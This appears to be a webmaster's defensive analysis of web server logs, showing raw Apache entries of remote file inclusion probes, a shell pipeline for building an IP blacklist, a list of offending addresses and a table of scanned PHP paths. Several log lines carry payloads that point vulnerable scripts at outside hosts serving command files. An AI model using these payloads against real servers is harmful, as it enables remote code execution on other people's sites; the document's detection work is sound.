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Recently the number of "strange" access record in web logs jumped and it became interesting to analyze the logs and see what those people are doing. Here is one fragment that I have found manually: 

213.195.77.225 - - [23/Jun/2007:06:00:07 -0700] "GET /Lang/Cilorama/c_%3Cwbr%20/%3Elanguage.shtml/str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 383 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:00:07 -0700] "GET /str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:00:08 -0700] "GET /Lang/Cilorama/c_%3Cwbr%20/str.php?lang=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 364 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:08:12 -0700] "GET /Scripting/Phprama/%3Cwbr%20/%3Ecommand_line_php.shtml/str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 393 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:08:13 -0700] "GET /str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.79"
213.195.77.225 - - [23/Jun/2007:06:08:13 -0700] "GET /Scripting/Phprama/%3Cwbr%20/str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 366 "-" "libwww-perl/5.79"
66.230.197.170 - - [23/Jun/2007:06:25:53 -0700] "GET /str.php?l=http://zarafshan.ru/uploads/cmd.txt? HTTP/1.1" 406 339 "-" "libwww-perl/5.805"
24.117.228.198 - - [23/Jun/2007:06:27:48 -0700] "GET /load_lang.php?_SERWEB[serwebdir]=http://dezzign.ru/echo? HTTP/1.1" 404 168 "-" "libwww-perl/5.803"

One common thing for those record is the usage of libwww.perl. Greping on this string brings us more complete picture reproduced in  Zombies bulletin

Extracting IP addresses gives you the first draft of the "blacklist" and that top dozen can be used to block those rogue addresses from accessing your site. To get such a "dirty dozen" you can use a simple pipe which can be made into a function or shell script:

grep 'libwww.perl' $1 | cut -d' ' -f 1 | sort -n | uniq -c | sort -rn | head -12 > $1.dirty

Below are the results of processing of the list from above:

20	83.149.125.174	home.w-sieci.pl
18	80.67.20.21	mayermail.de
12	200.69.222.122	contactar01.gestionarnet.com
11	64.78.163.2	nickentgolf.com
11	62.193.224.166	wpc0230.amenworld.com
10	86.109.161.201	lincl239.ns1.couldix.com
 9	87.230.2.113	lvps87-230-2-113.dedicated.hosteurope.de
 9	85.214.55.73	mind-creations.net
 7	193.192.249.157	
 6	87.118.96.254	ns.km22206-02.keymachine.de
 6	72.55.153.108	ip-72-55-153-108.static.privatedns.com
 6	66.147.239.104	host.1sbs.com
 6	216.246.52.59	server.dynasoft.com.ph
 6	213.195.77.225	225.77.195.213.ibercom.com
 5	217.115.197.51	node11.cluster.nxs.nl

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Scanning attempts for November, 2009

Filter .php$: 442 different pages-url
Total: 4267 different pages-url
Viewed Average size Entry Exit  
/index.php 257 234 Bytes 48 100


//index.php 146 234 Bytes 44 38


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/Scripting/php.shtml/common/db.php 111 207.67 KB 8 45


/errors.php 101 234 Bytes 31 27


/Malware/Malicious_web/index.php 92 178 Bytes 16 16


/Malware/Malicious_web/Bulletin/index.php 71 178 Bytes 4 29


/Malware/index.php 51 178 Bytes 6 6


/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 40 63.59 KB 9 2


/Malware/Malicious_web/errors.php 38 178 Bytes 12 17


/Lang/Javarama/Websphere/index.shtml/appserv/main.php 37 38.60 KB 25 23


/WWW/alternatives_to_adobe_products.shtml/accounts/inc/include.p... 28 142.60 KB 7 7


/Net/Netutils/netcat.shtml/s_loadenv.inc.php 27 66.84 KB 15 3


/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 27 63.59 KB 17 16


/Scripting/Phprama/php_debugging.shtml/errors.php 26 95.07 KB 8 6


/Tools/dd.shtml/s_loadenv.inc.php 24 191.04 KB 2 11


/Scripting/php.shtml/index.php 24 207.67 KB 10 6


/Security/IDS/Snort/snort_related_perl_scripts.shtml/include/edi... 23 97.94 KB 14 11


/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 23 63.59 KB 4 1


/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 21 63.59 KB 4 9


//errors.php 20 234 Bytes 11 3


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/WWW/blogs.shtml/skin/salz_gallery/ask_password.php 19 445.79 KB 11 11


/Malware/Malicious_web/Bulletin/errors.php 16 178 Bytes 1 7


/Scripting/Phprama/php_debugging.shtml/playing.php/common/db.php 16 95.07 KB 6  


/Scripting/php.shtml/port.php 15 207.67 KB 11 2


/Scripting/php.shtml/include.php 15 207.67 KB 6 5


/Scripting/Phprama/command_line_php.shtml/index.php 14 239.53 KB 4 3


/DB/index.shtml/includes/database.php 13 283.20 KB 2  


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/WWW/blogs.shtml/skin/salz_dierectnnormal_gallery/setup.php 13 445.79 KB 6 7


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/WWW/Hosting/cheap_hosting_with_ssh_access.shtml/phpAdsNew/view.... 9 120.61 KB 4 3


/Lang/java.shtml/include/_bot.php 9 426.19 KB 3  


/Scripting/php.shtml/station/playing.php/playing.php/common/db.p... 8 207.67 KB   2


/Tools/index.shtml/index.php 8 119.56 KB   3


/Internals/kernel_modules.shtml/modules/xoopsgallery/upgrade_alb... 8 37.60 KB 1 1


/WWW/ssi.shtml/includes/search.php 8 30.42 KB   3


/Xwindows/VNC/vnc_on_linux.shtml/bbs/bbs/tb.php/connect.lib.php 8 128.19 KB 1  


/Scripting/Phprama/php_debugging.shtml/station/playing.php/playi... 8 95.07 KB 2  


/Tools/dd.shtml/index.php 8 191.04 KB 3 1


/Net/Netutils/netcat.shtml/netcat/modules/forum.inc.php 7 66.84 KB    


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/WWW/search_engines.shtml/sphider/admin/configset.php 7 146.26 KB 3 3


/Tools/tar.shtml/index.php 7 114.30 KB 2  


/Scripting/Phprama/command_line_php.shtml/accounts.php 6 239.53 KB 4 3


/Security/classic_sec_tools.shtml/netcat/modules/auth.inc.php 6 68.38 KB 1  


/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 6 63.59 KB 4 4


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/WWW/search_engines.shtml/index.php 6 146.26 KB 1 1


/Net/Netutils/netcat.shtml/index.php 6 66.84 KB 2 2


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/WWW/ssi.shtml/home/conlib/local.php 6 30.42 KB 1  


/Scripting/php.shtml/playing.php/common/db.php 6 207.67 KB   5


/Scripting/tcl.shtml/fiber/stats_URL/page.php 5 167.26 KB 2  


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/Solaris/Security/RBAC/conversion_of_application_accounts_to_rol... 5 125.99 KB 1 2


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/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 5 63.59 KB 4 5


/WWW/ssi.shtml/conlib/local.php 5 30.42 KB   1


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/People/Stallman/prophet.shtml/modules/Calendar/admin/update.php 4 635.71 KB 4 1


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/Commercial_linuxes/RHEL/index.shtml/[Time-Assistant_path]/lib/t... 4 194.12 KB   1


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/Tools/Find/find_examples.shtml/examples/phonebook.php 4 71.07 KB 4 3


/Lang/Javarama/Websphere/index.shtml/main.php 4 38.60 KB 3 3


/Security/classic_sec_tools.shtml/netcat/modules/forum.inc.php 4 68.38 KB    


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/WWW/Webservers/apache_security.shtml/nota.php 4 57.75 KB 1 1


/Solaris/Security/Bulletin/hardening2003.shtml/login.php 4 126.55 KB 2  


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/Scripting/php.shtml/SSI.php 4 207.67 KB 2 2


/WWW/ssi.shtml/class_item.php 4 30.42 KB   1


/Malware/Malicious_web/Bulletin/web_zombies_bulletin070623.shtml... 4 63.59 KB   1


/Editors/Vimorama/Bulletin/vimorama2003.shtml/surveys/survey.inc... 4 26.93 KB 1 1


/DB/oracle.shtml/includes/database.php 4 84.01 KB   1


/Solaris/oss_for_solaris.shtml/index.php 4 197.13 KB 2 2


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/Scripting/php.shtml/administrator/components/com_webring/admin.... 4 207.67 KB 2 1


/Security/classic_sec_tools.shtml/modules/forum.inc.php 4 68.38 KB   2


/OFM/Bulletin/OFM_bulletin_2006.shtml/errors.php 3 57.16 KB   2


/Scripting/Shellorama/Bulletin/shellorama2004.shtml/index.php 3 74.20 KB 2 1


/WWW/apache.shtml/index.php 3 21.88 KB 1  


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/Tools/tr.shtml/cmd/product_info.php/products_id/1622/shop_conte... 3 67.23 KB 2  


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/Tools/tee.shtml/cmd/product_info.php/products_id/1622/shop_cont... 3 37.30 KB   2


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/Scripting/php.shtml/day.php 3 207.67 KB 2 2


/OSS/webliography.shtml/modules/Calendar/admin/update.php 3 417.62 KB   3


/Security/Hardening/history.shtml/cgi-bin/index/admin.php 3 51.30 KB   1


/Security/classic_sec_tools.shtml/modules/auth.inc.php 3 68.38 KB   1


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/DB/Mysql/tutorial.shtml/bbs/skin/buzzard_espoon/setup.php 3 51.74 KB 2 2


/Logs/Syslog_ng/configuring_syslogng_to_send_logs.shtml/src/inde... 3 18.69 KB 3 1


/WWW/Hosting/cheap_hosting_with_ssh_access.shtml/include/main.ph... 3 120.61 KB 2 2


/Tools/dd.shtml/error.php 2 191.04 KB 1 1


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/Scripting/Phprama/php_debugging.shtml/accounts.php 2 95.07 KB   1


/Freenix/freebsd.shtml/php/init.poll.php 2 269.38 KB   2


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/Solaris/solaris_tips.shtml/phpshop/index.php 2 116.67 KB 1 1


/Security/classic_sec_tools.shtml/s_loadenv.inc.php 2 68.38 KB    


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/Bulletin/Humor/index.shtml/templates/errors.php 2 189.71 KB 1  


/WWW/blogs.shtml/faq2.php 2 111.48 KB 2 2


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/Commercial_linuxes/index.shtml/administrator/components/com_web... 2 345.58 KB   1


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